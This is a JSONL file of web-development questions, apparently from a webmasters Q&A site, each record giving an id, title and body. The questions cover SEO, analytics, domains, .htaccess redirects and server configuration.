{"id":"28882","title":"Where can I find resources for best coding practices in web development?","text":"You'd figure that this would be an easy topic to google, but unfortunately I've been looking for a couple weeks and have yet to find really anything that I'm looking for. The problems I'm running into, is that the site either **A)** Is about image placement, article placement, eye flow, etc. (general UX) or **B)** Introduction into HTML\/CSS\/etc. Neiher A nor B really concerns me. What I'm looking for is the actual low- level coding structure\/layout of pages and how they should be properly laid out. I can make a web page look virtually any way I want it to without a problem and I already have a good understanding of UX, I just want to know how to do it based on industry standards on the actual coding\/scripting structure. Yes, I am a beginner and I know that standards like these have been set for many years now. I have not been in the industry for many years and was unable to fit any Web Development classes into my Comp. Sci. coursework in college."}
{"id":"61249","title":"Which is more correct: <h1><a>..<\/a><\/h1> OR <a><h1>..<\/h1><\/a> from SEO point of view?","text":"I read the same question on SO, but it was only addressing HTML complaint point of view. Moreover with HTML5 it does not make so much difference. I assume (without anything to back up my assumption), that the first approach is might be better from SEO point of view. So is there any difference?"}
{"id":"58530","title":"What is the best way to make to invalidate or recreate an entire Amazon CloudFront distribution?","text":"After asking this question, I have decided to recreate some CloudFront distributions, as so many files need to be invalidated. But instead of creating a new distribution, is it possible to just delete the origin and making an identical one? Would that work?"}
{"id":"35676","title":"Need to host a website with an integrated payment gateway?","text":"Please advise me how to host a website which includes a payment gateway in India. I would like to host an e-commerce web application for my own business. It would need to be used by all type of people."}
{"id":"13646","title":"Setting folder to be writable by apache\/php in windows?","text":"I have a local test server, and I am attempting to write a file with PHP. I am getting a message that the folder (`..\/uploads\/`) does not exist or I do not have permission. My directory structure is D:\\xampp\\htdocs\\website\\ \/\/<--root D:\\xampp\\htdocs\\website\\library \/\/<--where script runs D:\\xampp\\htdocs\\website\\uploads \/\/<--where I'd like to save I know on a *nix server, I can just chmod the permission to 0777. What do I need to set on my windows box to give apache the ability to write a file?"}
{"id":"13643","title":"ie8 weirdness: Link jumps to top of the page on mouse over: What's going on?","text":"So the fourth link in the right column (Board of Trustees Meeting Link) of the website I'm working is exhibiting some REALLY weird behavior. But only in IE8. When you mouse over it the page scrolls to the top of the page, or sometimes goes blank entirely for a few seconds. Any idea what's going on here? I've tried turning compatibility mode on and off, using strict\/transitional 4.01 html doctype, and html 5 doctype declartions. The link is no different from other links on the page (programmatically). I've examined the code six ways to sunday and I can't figure out what's causing this. Any help would be appreciated. EDIT: Solved due to other changes in the page. Still don't know what was actually causing this problem, but it's no longer being exhibited by the webpage. \/:"}
{"id":"35673","title":"Disqus 2012 comments NOT being indexed by Google","text":"We run a high-traffic website at http:\/\/www.onedirection.net and we've been using Disqus throughout this year, initially to great effect. We accepted the upgrade to Disqus 2012 back in June, loving the increased user experience and the better community feel - albeit back to an Iframe again. However the fact we were specifically told that the comments are now being indexed by Google was great, and the dynamic nature of the iFrame suited our site (all our pages are cached, so by using Disqus the comments are updated straight away). However, it seems that the Disqus 2012 comments are not being indexed, and we've noticed an obvious fall in traffic over the last few months. Initially we didn't put this down to Disqus and focused on other issues (Google algorithm updates etc). But we're quickly coming down the reasoning that our pages now contain less indexable text, and we are getting less traffic because of this. We've tried emailing Disqus directly but they're very slow and don't seem keen to help. Any thoughts on this?"}
{"id":"26285","title":"SEO optimization multiple region site, domains and multilingual site","text":"I am taking SEO of our website to another level. I read a lot about it and study all aspects of how to properly handle multiple domains and languages. For now we use three domain names `www.myurl.eu`, `www.myurl.de` and `www.myotherurl.com`. All sites were pointed to the same content on the same server. I have soon learned that having multiple domains is not a good practice (good reading regarding this: http:\/\/www.seo.com\/blog\/multiple-domains-seo\/). OK I solved this as suggested by SEO and Google experts, to pick one primary domain and do a `301 permanent redirect` from other domains! OK solved! BUT! Then I attended on an technical SEO brief in UK, where a SEO guy was speaking about local search and how UK Google search will prefer `.co.uk domains`. And as it turns out he was correct. Also the link I have posted above there is also a paragraph regarding this: > Country Specific Domains > > This is less of a tactic, and more of a “must do,” and is therefore my > exception to multiple domains. It’s an exception because all of the problems > above do not apply when you get into other countries. In fact, in order to > have the best results in international SEO, you’ll need to have a country > specific TLD (or top level domain). For example, if you’re doing business in > England, you will have a hard time ranking without a .co.uk domain. You can > still rank without a country level TLD, but it’s an uphill battle. And by > uphill, I mean Rocky Mountains-type uphill. Q1: So OK, to rank high for my business in UK I will need a `www.myurl.co.uk`. I have bought one. Now question that arises from this. Is a `www.myurl.co.uk` again a 301 redirect to my primary domain or not? How should I handle this? Q2: Then there is a multilingual aspect of all this. My site is build in a way so Language sites are altered with an \/lang\/ code in url. Example: * `www.myurl.eu\/en\/products` -> english products site * `www.myurl.eu\/de\/products` -> same site in german * `www.myotherurl.com\/en\/products` -> 301 redirect to `www.myurl.eu\/en\/products` So now what to do with my country specific domains `www.myurl.co.uk` and `www.myurl.de`? Should these be 301 redirects to main domains like `www.myurl.co.uk` -> `www.myurl.eu\/en\/` and `www.myurl.de` -> `www.myurl.eu\/de\/`? Is this the right way to go with? Q3: should I really go this way having separate country level domains in countries where I do business considering all my content is served from the same server? I also haven't seen let's say Apple or Microsoft having an `apple.co.uk` and so on? How important is this really?"}
{"id":"26284","title":"Are there any other ways to notify users besides sending them an email?","text":"I have a forum that sends users an email whenever someone replies to a topic that they posted. However, given how some of my users don't check email that often, and I was wondering if there was another way of notifying them."}
{"id":"55523","title":"Google Analytics and Webmasters Tools for multilingual website","text":"This is the first time I am doing a multilingual website and I have a few issues: I have 3 languages, each in its separated folder: `en\/`, `it\/`, `ru\/`. In the `<head>` section of each one I have `<link rel=\"alternate\" hreflang=\"x\" href=\"http:\/\/website.com\/x\/\" \/>`. What I don't yet understand is how do I index the website with Google Analytics and Webmasters Tools? I don't need the ability to see the statistics for each language separated, just the whole website at once. So, given the fact that `http:\/\/example.com` automatically redirects to `http:\/\/example.com\/en\/` (default folder\/language), do I include the **same** tracking code on each page for all 3 languages? If so, when I register the website to Google Analytics, what URL should I specify is the website? I think `http:\/\/example.com` won't work because it automatically redirects to the `en\/` subfolder. And for Webmaster Tools, do I register the root website and then separate it with geolocation, or do I register an account for each of the three languages? Also, every page has the same name in all three languages. For example: `http:\/\/example.com\/en\/about-us` in Italian will be `http:\/\/example.com\/it\/about-us`, if this matters somehow."}
{"id":"4778","title":"Webshop in Europe with high revenues.. what to use?","text":"I need to build a webshop for a customer with an weekly revenues more than 40.000 euros Location: Europe I was thinking to use Paypal Standard Payment (in this case the customer needs to contact paypal given the above mentioned revenues, right ? Any other solution for an **european** web shops ? (i.e. Paypal Payments Pro doesn't work in Europe) Also, is there any pre-built service.. to make such webshop ? thanks"}
{"id":"35679","title":"Single Full Name field in registration form user submits only first what to enter in my backend as last?","text":"On a registration form I have a single input called Full Name. The strings are parsed with http:\/\/code.google.com\/p\/php-name-parser\/ so if a person enters their full name middle or any quantity of strings it's handled just fine and the app creates the user in a billing system with it's API. The form validates and checks for two strings in the field otherwise it won't post. I'd like to remove this validation but a last name is required by the API. You cannot post an empty last name to the API. Users are signing up for a trial so I don't want them having to deal with many form fields. The only place the last name shows up visible to the user is in their account settings page. If they end their trial and start a paid plan they'd have to enter their billing details which asks with two fields for their First, Last, and other billing information. What is an alternative to submitting \"Doe\", \"Default\", \"Empty\" in place of them not filling in their last name?"}
{"id":"55933","title":"Serve different content for web crawlers to fix SEO for SPA?","text":"I have my site built as an SPA using Knockout. The main-page populates a list of items dynamically as the user scrolls and each item has a details-page which is also dynamically loaded. I have implemented so that each details-page do have an explicit url which is handled with the same main-page if navigated to directly. Only now I realized all the problems with dynamically generated sites and SEO. Since all items are generated client-side, the web crawler sees basically nothing. I did an attempt with rendering links server-side to all details- pages but since they are then also generated dynamically with Knockout, a web crawler still sees nothing. Question: Can I serve a simpler server-rendered page specifically made for web crawlers? This simple page could contain all items but without any dynamic loading, with real links to detail-pages also serving server-rendered content. Different, more basic layout and no javascript or Knockout. Would that be accepted by Google, Yahoo etc or could it be viewed as an attempt to misguide normal users? Is this a commonly used method? Has it any \"standardized\" method of implementation, for instance a subdomain I could use like seo.mysite.com?"}
{"id":"53656","title":"Ajax results page for outbound links - Should I make it SEO?","text":"I run a movie review site. I have two main directories: **\/movies** - AJAX only > > This page links to movie reviews, where 99% are to original content > on external sites and 1% is to my own reviews in the \/review directory > **\/reviews** - PHP > Here I list links to my own original content, found on > \/reviews\/{movie_id}.php Currently I have my \/movies directory AJAX driven for the searching. Building it this way has made it inaccessible for the search engines unfortunately. However, they can see my own original content in the \/reviews directory. ## QUESTION Should I redesigning my movies page not to use AJAX so that search engines can access and index it, when all it does is link to third party sites? Are outbound links important?"}
{"id":"54377","title":"Do web crawlers\/spiders index azure web sites?","text":"For somebody who wants their web site to be as discoverable as possible (and who doesn't?), are Microsoft's Azure web sites (azurewebsites.net) a feasible domain to host sites? I have a site that is both on an azurewebsites.net _and_ hosted under a completely different name by discountasp.net Both of these sites are exactly the same, except for the URL; whenever I update the code, I republish the site to\/in both places. So obviosuly, they both have the same H1 and H2 elements. Searching for the value\/content in my H1 tag, I find my .com site listed #3 on google and #2 on both Bing and Yahoo; OTOH, my azurewebsites.net site doesn't show up on the first page at all, in any of them. This makes me wonder if azurewebsites.net should only be used for Web API hosting and such-like, not for generic\/commercial \"public\" sites. Are my conclusions valid?"}
{"id":"43301","title":"How to arrange items in a tile like format in a web page?","text":"I've created a simple video & photo sharing website. I want to arrange the preview (thumbnail view) of photos and videos in a tile-like format (like windows 8 start screen) in the home page. I'm confused as to which tag I should use: table or div. I think it's quite easy to do it using tables, but I don't want to use it because it's solely used for tabular data. I also think that it could cause problems down the road (perhaps getting messy during maintenance.) The other option is to use a div tag, but I don't know how I would go about doing this with a div tag. Which one should I go for? A table or a div? If I should use a div, how would I implement this?"}
{"id":"43305","title":"Avoid page publishing for component updates in SDL Tridion Experience Manager","text":"I need help confirming the following SDL Tridion workflow\/Experience Manager scenario. # Business requirement * Editors control pages in a given structure group (SG) * \"Image Authors\" only update images for components already on the page, preferrably in Experience Manager (XPM) * Workflow on pages in the SG. No workflow on components. * Image Authors shouldn't be able to publish \"non-approved\" (ready for publish) page changes. # Functional requirement I think I have three functional requirements: 1. Editors should not put non-approved components on the pages. If editing components, editors or authors should leave items checked out until ready. 2. Image authors won't make page changes (move\/add\/delete component presentations). 3. Component should publish as dynamic component presentations, even if embedded on the page. ## Question We can restrict an image author's ability to edit the page through rights and permissions. And it looks like Image Authors could still manage to publish a page outside workflow (although if it's checked out, we avoid publishing updates in-progress, right?). Could my _Image Authors_ still manage to **publish** unapproved page changes? Edit: oops, missed \"publish.\""}
{"id":"5818","title":"Will Checking Existence Of Email Be Throttled By Email Servers?","text":"As part of a web application I am building, I must check if a particular email address exists. This check may be performed at around 1000 times an hour at a given server. Is there any mail server security policy that would prevent this? Edit: I do not mean any particular server. Would there be any reason for throttling to be enabled anywhere."}
{"id":"19028","title":"Should sitemaps list their dynamic data, newest first or oldest first?","text":"When we create an xml sitemap for a site with dynamic data, should we prepend all new data to the start of the sitemap OR append it to the end? Do search engines hate it when a sitemap is 100% different each time OR when they see that it's mainly the same, but just a bit different at the end. ### Example Lets imagine we're creating an XML sitemap for StackOverflow -> a site with dynamic data. Lets also assume that, ever day we have 1000 new 'items' to get added to the sitemap and we start out with 200,000 items. I'm also generating the sitemap every hour or every day... don't really care just yet. Now, with all these items to be sitemap'd, first I'll need to have a sitemap index that points to each page of items to get indexed. Kewl. If I add the new items to the START of the list of items to get indexed, then each 'page' in the index will be different, compared to the previous time the search engine grabbed the sitemap index. eg. * **Day 1** : Page1 will have 100 items, with the most recent item having a timestamp of 1pm, day1. * **Day 2** : page1 will now have a complete new set of 100 items, with the timestamp of the newest item in this page being 1pm day2. This also means every other page, in the index is different to the previous. So does this mean the search engine would need to go through EACH PAGE again to see what resources it needs to index? But at least all the new content is first, so the assumption here is that the search engine will be indexing the newest stuff, first. As opposed to .. appending any new data to the end of a sitemap .. * **Day 1** : Page1 has 100 items. most recent is timestampe 1pm, day1 * **Day 2** : Page1 is still identical to page1, the day before. Now, page 22 has the most recent stuff, which didn't exist the day before. Here i'm assuming the search engine will see all of this stuff and say 'ahh! most of these pages haven't changed since i was last here .. so i'll ignore them .. but lets see AH! there's a few new pages that DO have some new data.. so lets check them out instead'. Anyone have any experience with this?"}
{"id":"16038","title":"Website Access...DNS, ISP, issue?","text":"This isn't so much a code issue as it might be an issue with my ISP. For some reason when I visit a site very often, like one I manage or write stories on, it will just stop pulling data down after a while. It's very random when it happens, but probably happens once a week. If effects everyone who is accessing the site from this connection, and I can access other sites no problem. Also, if I go outside the office back home, which is right down the street, and access the site it is fine. I'm using Comcast in both locations. It's almost as if I have a limit on requests to each site and have hit my limit so it blocks the site for a while. Anybody have any clue what this might be?"}
{"id":"19757","title":"For progressing signed_request, should we pay for using SSL?","text":"I would like to ask you a few questions about signed request. As you notice, we must take SSL certificate on 1st Oct. When I researched, we cannot get it as free. I am wondering how you decied that the number of business facebook users must take SSL certificate by payment. Isn't there any other option for taking SSL free such as you provided? Or aren't you going to give the option on Facebook for processing? I can see there aren't many people realise this matter how big issue is. I tried to call you and ask some question on developer's blog, yet I haven't got any answer. I hope that I will get the answer for it this time."}
{"id":"5812","title":"When creating HTML for _escaped_fragment_ AJAX pages, how correct does it have to be?","text":"I have a javascript heavy site (It really couldn't be coded in any sensible way with progressive enhancement) and I am using Google's advice for making AJAX websites crawlable. (i.e. use \"`?_escaped_fragment_` in place of '`#!`') My question is this: How closely does my flat HTML need to match the AJAX created HTML for users? I imagine Google must be checking some of the AJAX content, as otherwise this would be an easy way to do cloaking. I don't want to cloak in any way, but it is difficult to produce the exact HTML source that AJAX generates on the server-side? Would a rough approximation be good enough? Anyone have any experience in doing this?"}
{"id":"19021","title":"Analytics referrer forum thread","text":"When I'm in analytics I sometimes get a referral from a forum, something like: http:\/\/forums.example.com Then when I click on it, it gives me a page like: \/viewTopic.php Is there any way to get it to return the topic ID so I can click on it and see which topic it is? At the moment I have to register, and run a search. Can be very slow."}
{"id":"17348","title":"Best Platform to build Business Directory Website ,which is SEO friendly?","text":"We have plan to setup a business directory website. and our team thinking of suitable platform Php or ASP i want to know which is most commonly used in Commercial Business Directory Websites. How does Business Directory Websites get their pages indexed so fast , does we consider creating website just like Blog \/ forums which index's faster than static Website . How business Directory Website works ....??"}
{"id":"56654","title":"Can I get user history with Analytics API?","text":"Can I do so? that I will send user id from cookies to Google Analytics API and I will get all my site pages which was visited by user? I do not found any example of this."}
{"id":"29061","title":"GA goal match URL regular expression","text":"I'm trying to setup a Goal URL with REGEX matching but it's not working. The Url I'm trying to match is: user\/12345\/edit?registration=1 with \"12345\" being the userid that changes. user\/[0-9]*\/edit?registration=1 Should work, but doesn't. When I do an advanced search for pages with RegEx match (in the new GA interface) it shows no results. If I search for \"contains\" \/edit?registration=1 it shows all the Urls. What am I missing?"}
{"id":"17347","title":"Duplicate Content Ranking Better?","text":"On my news website, I scour various sources and write original news articles. However, one of my competitors is merely copying news articles from popular news websites directly with a few or no modifications whatsoever. Even though, it ranks better than us and he has very good traffic. Al they do is cite the original source but the entire article is same as the original. Does Google not consider duplicate content for news?"}
{"id":"17612","title":"How do you handle bad scripts or plugins","text":"As web developers obviously we don't want to reinvent the wheel with everything we do so best practice would dictate when necessary we should use third party scripts and plugins. Recently I have found a slew of 'bad' plugins for Wordpress, which fall into two categories; 1. The plugin works fine, but isn't written using current standards. 2. The plugin appears to work but is just written wrong. Both plugins do what they say they will do, but in the first category you can't minify the javascript behind them because the javascript hasn't been written to conform to say jslint or any other code validation and in the second category the plugin uses potentially insecure code or incredibly inefficient code so under normal use it seems fine but under pressure seams become undone and the server gets hit with unnecessary loads. The thing I can (and will) do is rate the plugin and provide feedback, but lets say 10000 people have downloaded the plugin and never need to minify it, or need to put it under pressure, my one negative review will be a drop in the ocean. It feels like more should be done. What else should I do as a developer and we do as an industry to ensure sloppy third party plugins get brought up to speed?"}
{"id":"52355","title":"Linux Mint 15 + Rails with Apache\/Passenger","text":"I am only beginner and try to understand how to configure apach web-server for my RubyOnRails app. I have linux, installed apache2, passenger and apache2-module for passenger. While installing i got text like this LoadModule passenger_module \/home\/rubys\/.rvm\/...\/ext\/apache2\/mod_passenger.so PassengerRoot \/home\/rubys\/.rvm\/gems\/ruby-1.9.2-p290\/gems\/passenger-3.0.8 PassengerRuby \/home\/rubys\/.rvm\/wrappers\/ruby-1.9.2-p290\/ruby I need add this to my apache config file, so, i use $ apachectl -V | grep HTTPD_ROOT $ apachectl -V | grep SERVER_CONFIG_FILE file, which i need is here \/etc\/apache2\/apache2.conf my rails app is here \/home\/alexkd\/WebDev\/rails\/depot Also i have file in \/etc\/apache2\/ **ports.conf** with text like this NameVirtualHost *:80 Listen80 What I have to copy to my **apache2.conf**? and where i have to add this: <VirtualHost *:80> ServerName depot.yourhost.com DocumentRoot \/home\/alexkd\/WebDev\/rails\/depot <Directory \/home\/alexkd\/WebDev\/rails\/depot> AllowOverride all Options -MultiViews <\/Directory> <\/VirtualHost>"}
{"id":"56300","title":"Will \"jailing\" a single page inside an iframe using a JavaScript redirect be considered as cloaking?","text":"**Background** I have a website that uses iframes to display content. If the URL to a content is called directly by the user it should be \"jailed\" into the _main page_. The _main page_ provides a header and a footer as well as the navigation menu. There is one iframe named _contentframe_. All links in the navigation (and footer and stuff) target this frame. **My Solution for \"jailing\"** First I find out whether the page is already jailed via javascript (that's simply done with something like `var jailed = (window.self != window.top);` where jailed will be true if the page is \"jailed\" already. Next I redirect (using javascript) to the _main page_ with a parameter called _referrer_ passing it the URL of the page which should get \"jailed\". This PHP script reads this parameter and sets it as the _src_ argument of the iframe. This way the _main page_ is loaded within the iframe. This way I can directly link to a content and after only one reload everything will be displayed just fine. But I have questions regarding some issues. **My Questions** 1. Are there seo problems? I think, that google can index the contents of my site (links provided at least by the sitemap.xml and of course through the navigation links). **But** what about this javascript redirect? It's not cloaking, but is it problematic? Will Google punish me for that somehow? I found out, that it's hard to find some info material for this topic. 2. What about best practices? I know how to do what I want to do technically, but how about best practices? I couldn't find anything so far, but maybe some of you had to deal with that. Or is my solution perfectly fine? **Note1** I know iframes are not a very elegant way for displaying the content (from the same domain), but I'm stuck with it and I must deal with it, so please no \"do not use iframes comments\" :-) **Note2** Please, no opinions. I'm quite sure there are some facts on how to do this the best way. **Note3** The following link describes that the intent is very important. In a way I'm showing different content to GoogleBot than to my user, technically. But the content really stays the same only it is decorated a bit. But what does GoogleBot say? Cloaking and\/or Sneaky Redirects"}
{"id":"17340","title":"Facebook Comments Lost","text":"I am using Facebook comments on couple of my blogs at the moment and I just found that somehow magically all the previous comments made on posts are gone and are no longer being displayed. I'm using wordpress for all of these blogs and Facebook Comments for WordPress to manage all the facebook comments. But somehow they all disappeared all of a sudden. Another problem which I've been facing lately is that I can't seem to moderate the faceboook comments. When I go to http:\/\/developers.facebook.com\/tools\/comments where there should be a list of all the comments made on my sites (against the Applications that I've created just for the sake of comments), there is nothing there. This has been the thing from the starting, **before the comments vanished on my site, today** So technically, there are two issues to solve here."}
{"id":"4618","title":"Does registering a second domain name with the dashes help SEO?","text":"If I have a site registered and running on ThisIssomething.com for example, does registering This-Is-Something.com and redirecting it actually help SEO? Or is it mainly to protect your brand?"}
{"id":"12942","title":"Does Google Analytics track users with multiple languages?","text":"I'm assuming that when Google Analytics tracks a visitor's language it uses the Accept-language header from the request (most browser\/OS combinations seem to populate it automatically). My browser sends: Accept-Language:en-US,en;q=0.8,en-GB;q=0.6,fr-CA;q=0.4,fr;q=0.2 And yet I can't figure out how to get stats on what percentage of my visitors _can_ speak a certain language even if it isn't their primary one (in my case I normally use English but I can use French). Does any analytics program do this, or am I going to have to capture it in my logs and track it manually?"}
{"id":"13500","title":"Google Analytics: How can I exclude a country from reports?","text":"Hi is it possible to exclude traffic from a certain country in google analytics? If yes, how do I do it?"}
{"id":"13502","title":"How to use google adsense and google analytics for my site","text":"Hi i've got a site serving content to Brazil http:\/\/montao.com.br via google app engine getting comfortable with updating it with new function now also adding google adsense and analytics to the site. Now I want to know if you can follow the link to maybe give me some good advice how to use adsense and analytics since adding these tools is adding script that could slow down the pages' load times. Thank you"}
{"id":"60266","title":"Webpage loading with wrong content-type after setting up CloudFlare","text":"I recently migrated my blog to the Ghost service, I've also setup an alias DNS record with CloudFlare. While showing the blog to a colleague I discovered one of the posts wasn't loading properly and would instead prompt to be downloaded with an `application\/octet-stream` content-type. I can view all the pages without any issues and I believe we're both on the same network as well. Has anyone received a wrong content type like `application\/octet-stream` using CloudFlare, or know what I can do to correct this?"}
{"id":"4617","title":"reliable place to buy .io domains","text":"I'm looking around trying to find a good place to buy **.io** domains. Suddenly, I think I'm surrounded by scammers, since .io domain providers websites, are really badly-designed and I am not feeling of confident about dealing with them. I'm trying to deal with nic.io guys right now. If somebody could point me out some company, it would be appreciated. Specially because the domain costs £60. It's not that cheap to spend with someone that could just leave you waiting for some answer after the payment."}
{"id":"23936","title":"Plesk Migration MediaTemple dv 3.5 to 4.0","text":"With things slower during the holidays, I'm taking the time to upgrade out web server account with Media Temple from a dv 3.5 to dv 4.0. I'm a little out of my element doing this, but have been following this document to get it done: http:\/\/kb.mediatemple.net\/questions\/241\/Using+the+Plesk+Migration+Manager#dv_40 Just used the Plesk migration overnight, and it successfully migrated with a few errors. Unfortunately, I don't know what do do now. I've looked at the errors, and don't see anything alarming. I'm not seeing any of our domains, etc after the migration in our sever. In the migration manager, I always end up with two migration tasks, with the second never actually starting. Looks like this:  The only difference in the two tasks are the source hostname Any help, tips, etc. would be appreciated. Just discovered a string of emails that had been held by our spam service: \"Generating new Apache configuration on host failed because the following error(s) occurred: Syntax error on line 4 of \/var\/www\/vhosts\/domain.net\/conf\/vhost.conf: Wrapper \/var\/www\/vhosts\/domain.net\/bin\/php-cgi cannot be accessed: (2)No such file or directory Please fix error(s) in templates of Apache configuration and retry generating the configuration file.\" How do I enaable php-cgi on the new server?"}
{"id":"23937","title":"How Can I create Webfont?","text":"How can I create webfont? any software or online service which can create webfont from my custom TrueType font."}
{"id":"51831","title":"Indexing a page in which the content is discovered in a map","text":"We want to improve our site's SEO. The page is a GWT (javascript based) web page and its content is discovered through a map or a GPS. Now we have just a normal landing html page, and the map and the detail pages referenced in a sitemap.xml. I want to achieve better results by: * Leaving the html landing page as it is right now, but pointing to the map page (now it does it through JavaScript). * In the map (JavaScript page) use the trick and change the body in the servelet with H1, H2, H3... but... do we put a list of links to the details simulating the map of the whole world? Or is better to leave this to the sitemap.xml? With the first way we keep the hierarchy (landing-->map-->details). * In the details page use the trick and write html info. So the question is is it better to have a sitemap.xml or to change the page content to point to the details (they can be thousands)?"}
{"id":"25904","title":"What organizations handle the TLD registries and what are the links to their whois search pages","text":"**Cautionary Tale: Registrars get rich by screwing you out of money** My first foray into web design included a site with a handful of issues. The original designer\/developer created it as a one-off and he didn't bother to mention to the owner that the name would expire in 2 years. When I stepped in to take over, the name had expired and the registrar (InterNIC) was charging $250 USD to get it back. The site at the time was a general static business site that didn't have a big enough following to warrant the price of the .com name so we opted to move to .net. All in all, it took 5 years before the registrar finally released the name so we could finally recover it. **tl;dr: Don't trust registrars.** Considering the emergence of Domain Front Running: > This is where a domain registrar or an intermediary (like a domain lookup > site) mines the searches for possibly attractive domains and then either > sells the data to a third-party, or goes ahead and registers the name > themselves ahead of you. In one case a registrar took advantage of what's > known as the \"grace period\" and registered every single domain users looked > up through them and held on to them for 5 days before releasing them back > into the pool at no cost to themselves. I have good reason to distrust 3rd party registrars. To compensate, I only use the whois of the TLD owner to do domain searches. I have been using verisign to look-up .com\/.net domains for years now but what I'd like to know is: **Who owns the following TLDs and where can I find their Whois search:** * .com - Verisign Inc. - whois * .net - Verisign Inc. - whois * .org - PIR - whois * .edu - Educause - whois * .biz - Neustar - whois * .pro - Registry.Pro - whois"}
{"id":"57653","title":"Changing www to point to non-www, instead of the opposite, using .htaccess","text":"I'm switching servers and need to change the following _RewriteCond_ and _RewriteRule_ commands in the _.htaccess_ file. Right now I'm pointing `domain.com` to `www.domain.com` using: RewriteCond %{HTTP_HOST} ^domain.com$ RewriteRule ^(.*)$ \"http\\:\\\/\\\/www\\.domain\\.com\\\/$1\" [R=301,L] I need to switch the commands and do the opposite, where I point `www.domain.com` to `domain.com`."}
{"id":"35726","title":"How to redirect requests to another folder using .htaccess?","text":"How to redirect requests to another folder using _.htaccess_? I have my root directory and my website looks into that directory. I want it to look in the `\/subdirectory\/` instead. I can't modify the server config."}
{"id":"15666","title":"different confirmation boxes on firefox when running remotewebdriver tests","text":"When testing my webapp manually I get a confirm box: , the browser renders it with an overlay, but when run with remotewebdriver the overlay is not present and the confirm is in a window , any idea why is this happening? Same browser, FF4. The remotewebdriver sends an instantiated FirefoxProfile without modifications that adds this user.js to the Firefox Profile."}
{"id":"27227","title":"DNS hosting better managed by Domain provider or Hosting provider?","text":"Is it better to let DNS be managed by Domain Provider like GoDaddy\/Namecheap or point the nameservers to hosting providers like Linode? What are the differences and disadvantages\/advantages of both?"}
{"id":"51153","title":"When is it worthwhile to host your own website instead of using shared hosting?","text":"I'm not new to web development, but I have always used shared hosting to suit my needs. However, I see some people choose to serve their websites from their own servers. In considering moving to administrating my own web server, what are the top issues that I should consider to determine whether it is a worthwhile endeavor for me to pursue?"}
{"id":"56748","title":"Disabling Single Event and 301 Redirect","text":"Is it bad practice to have a 301 redirect for an event that has been disabled or deleted from a system to the list view? or should a 404 page? I dont want Google to ban me or anything."}
{"id":"69020","title":"Is example1.mysite.com called multiple domain or subdomain?","text":"I have these sites, `example1.mysite.com`, `example2.mysite.com`, ... etc. I was wondering what is the proper term for that? I heard multi-domain, and subdomain being used. Are they interchangeable, if so, which term would better describe this?"}
{"id":"20879","title":"Is there a multi-sub-website\/group handling CMS?","text":"I'm looking for a good, easy to use and manage, free Content Management System that is built for (or can handle) multiple sub websites, or groups. Something like Drupal's Organic Groups functionality, except I don't want Drupal. My goal is to create a main site mydomain.com that sells websites (for guilds) at guildname.mydomain.com. Thanks to Alerty for recommending the SilverStripe CMS, which works great! Although I've marked this as answered, if anybody else knows of any other ones, that would be great to know to. EDIT: preferably something that won't requite multiple installs? I want any subscriber to the main site to be able to just pay $n and then click a \"start site\" button, which would automatically set up a new group\/sub-site."}
{"id":"20876","title":"Recommendations for a good personal resume\/portfolio website","text":"Sorry for the broad question, but I am looking for some kind of package that will look great for posting up some personal details online in a resume type fashion. Possibly with the ability to add extra pages. I've seen examples about, but not been too sure if they are running something specific or whether it is something custom. I would generally just knock out a WordPress install but I don't think it will fit the bill. Anything that utilizes current technologies would be great, i.e. HTML5, jQuery etc. I want the site to look smart and up to date."}
{"id":"20704","title":"Targeting Multiple Zones in the US best URL method required","text":"This is kind of a newbie question, but my boss asked me and I wasn't sure exactly how to answer. Id like to get some opinions from others that have hit this issue before. **Scenario:** We are wanting to purchase a new chain of URLs for a new site expenditure. The #1 goal for my boss is when a customer searches for \"This product Miami\", or \"Miami this product\" that our URL will always show up first because the structure of the URL would be indicative of the search term. So if the user searched for \"This product Miami\", the search result would return www.thisproductmiami.com of if they search for \"This product new york\", it would return www.thisproductnewyork.com So, he is hellbent on getting `thisproductnewyork.com`, `thisproductmiami.com` and so on for every major city in the US. So we will end up purchasing a \"`thisproductthiscity.com`\" for every city. See my confusion??? To me as a web developer the best way I'd see this working is: miami.thisproduct.com newyork.thisproduct.com That way, the city still searchable, but its all managed and aggregated by one domain. What would give us the best search results. Purely based on the URL. This would help me out so much, any advice with links to articles or anything covering the subject so I can back it up with docs, would be nice. Thanks in advance."}
{"id":"53885","title":"Which schema.org type should be used for webinars?","text":"I'm looking to improve the schema.org markup on a site, but I'm curious about a couple of things because of the content: webinars. See an example: https:\/\/www.brighttalk.com\/webcast\/667\/83483 There are tens of thousands of webinars (and some videos) almost all of which are on-demand and therefore would seem to be clear-cut Video objects. The thing is, many of these webinars are scheduled well in advance and would seem (semantically) to be a live event, which would fall under the Event object category of schema.org. So I see three options: * Tag everything as a Video * Tag videos and on-demand webinars as Videos and upcoming webinars as Events * Tag all videos as Videos and all webinars, upcoming and on-demand, as Events Thoughts?"}
{"id":"25575","title":"Magnifier glass for text","text":"I've seen scripts that allow you to zoom images, i want to do the same for text, is this possible? Like onmouseover or hover it zooms images. i want it for text! is it possible?"}
{"id":"42304","title":"Increase Servers folder depth limit for running scripts?","text":"I have a CMS on my site that utilises TinyMCE (the WYSIWYG text editor). The issue is that TinyMCE cannot browse for files (example: images) on the web server. I get the error: `Error 324 (net::ERR_EMPTY_RESPONSE): The server closed the connection without sending any data.` I have been told this may be occurring because the server is configured to limit the folder depth for running scripts. Unfortunately I am primarily a front end developer so I am not really sure how to go about changing\/viewing this. I have access to WHM and cPanel. Does anyone know how to adjust this?"}
{"id":"16690","title":"How can I get a '.mo' domain?","text":"I represent a business in the United States. I would like to grab a '.mo' domain name, but I see some restrictions on the domain. Is it possible to grab a '.mo' domain name without going through the hassle of registering a trademark through Macao, China? Do domain name brokers exist that will handle this cheaply and hassle-free?"}
{"id":"16695","title":"[pic] Possible to style a text with CSS?","text":"Preparing for a meeting with our designer later today, I was looking through his Photoshop sketches and wonder whether the following one could be expressed in HTML\/CSS, without the need to render the text in Photoshop:  Do you think the color gradient and the drop shadow could be done 70-90% similar to the original within **plain HTML and CSS** , too? Ideally even older browsers should at least be able to draw the text in a readable manner. I found this one back from 2008, maybe there is a more modern way of doing it nowadays?"}
{"id":"7960","title":"Best way to capture website user clicking\/navigating behavior","text":"I'm wondering if there is any analytics tool more sophisticated than google analytics which offers features such as user clicking and navigating behaviors. By which I mean, with such tools, I can see how users actually clicked and navigated across my site."}
